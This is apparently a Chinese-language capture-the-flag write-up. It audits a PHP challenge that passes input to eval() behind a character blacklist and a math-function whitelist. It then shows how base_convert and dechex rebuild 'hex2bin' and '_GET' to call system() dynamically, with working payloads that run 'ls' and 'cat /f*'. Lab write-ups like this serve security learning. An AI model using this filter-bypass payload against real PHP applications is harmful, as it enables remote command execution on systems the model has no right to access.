知识点:
数学函数转换字符串
GET传参外部赋值
eval()函数解析执行命令
PHP动态调用函数名
源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
代码审计:
看到最后的 eval('echo '.$content.';'); 代码,可以通过eval()函数执行命令,那么目的就是命令执行得到flag
然后看代码的细节,接收一个get传入的参数c,并且参数c的长度不能超过80,还不能在黑名单
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 里面 不能含有空格 \t \r \n 单双引号 中括号[]
又给出了一个白名单,里面是很多的数学函数,然后进行正则匹配,得到的结果赋值给$used_funcs
$used_funcs[0] 包含了所有完整的匹配字符串,$used_funcs[0] 里面的所有数据都要在白名单中
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
正则表达式中 \x7f-\xff 匹配 ASCII 值从 127 到 255 的字符
所以作用是从 $content 中找出所有以字母或下划线或者ASCII 值从 127 到 255 的字符作为开头,后面跟随任意数量的字母、数字、下划线或ASCII 127-255的字符串序列,并将它们收集到 $used_funcs 数组中
目的是命令执行,但是前提是$used_funcs[0]数组中的每个数据必须在白名单中,而白名单中没有命令执行函数例如system,那么问题就是如何构造system函数和命令
在PHP中,可以使用变量来存储函数名,然后通过这个变量来调用相应的函数
例如在windows中,可以像下面这样调用system函数,用dir 输出目录信息
<?php
$a='system';
$a('dir');
所以既然对参数c进行了很多限制,而且对长度也有要求,那么可以通过外部赋值绕开这些限制
外部赋值可以用$_GET[]接收外面的参数,所以格式可以是
?c=($_GET[a])($_GET[b])&a=system&b=ls
简单实践一下,利用下面的代码演示, 在windows中用dir来表示列出当前目录
<?php
error_reporting(0);
highlight_file(__FILE__);
$content = $_GET['c'];
echo $_GET['c']."\n";
eval($content.';');
可以看到这样执行命令是没有问题的,这里题目是PHP7的环境, $_GET[a]两边的()可以不加,但是在PHP5中不能有这对括号
格式有了,接下来就是考虑如何构造出来
_GET 以及 [] 都会被匹配,所以需要替换,$content长度不能超过80,所以选择白名单中最短的两个函数作为外部赋值的参数名,这里就用pi 和 pow
中括号[] 可以用 {} 来替代, _GET 用白名单中的数学函数转换得到
数学函数转换
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式
但是这里hex2bin()不在白名单中,还需要通过白名单中的函数构造出来
base_convert: 用于在不同的进制之间转换数字
base_convert(37907361743,10,36) 将十进制数 37907361743 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35
因此base_convert(37907361743,10,36) 表示的就是 "hex2bin"
这里的括号()和 逗号, 都不会进入匹配 37907361743 10 36 也不会,因为没有以字母或者_或者指定ASCII字符开头的字串
把_GET 字符串转换为16进制格式, 得到 hex2bin(5f474554) 转换完就是 _GET
但是5f 47 45 54会被匹配到,因为存在以字母开头的子字符串f474554
因此 5f 47 45 54可以用白名单中的dechex()函数将10进制数转换为16进制的数
dechex(1598506324) 1598506324转换为16进制就是 5f 47 45 54
经过一系列转换,得到
hex2bin(5f474554) -> base_convert(37907361743,10,36)(dechex(1598506324))
base_convert(37907361743,10,36)(dechex(1598506324)) 也就是_GET
接下来赋值传参即可
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls
参数c的值是后面的一大串,里面有分号;隔开,经过eval()函数也就是相当于解析执行两条命令,会先解析$pi的值, 也就是得到$pi=_GET
然后执行后面的($_GET[pi])($_GET[pow])&pi=system&pow=ls 最后输出整个的结果
根目录下发现flag文件 查看即可
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*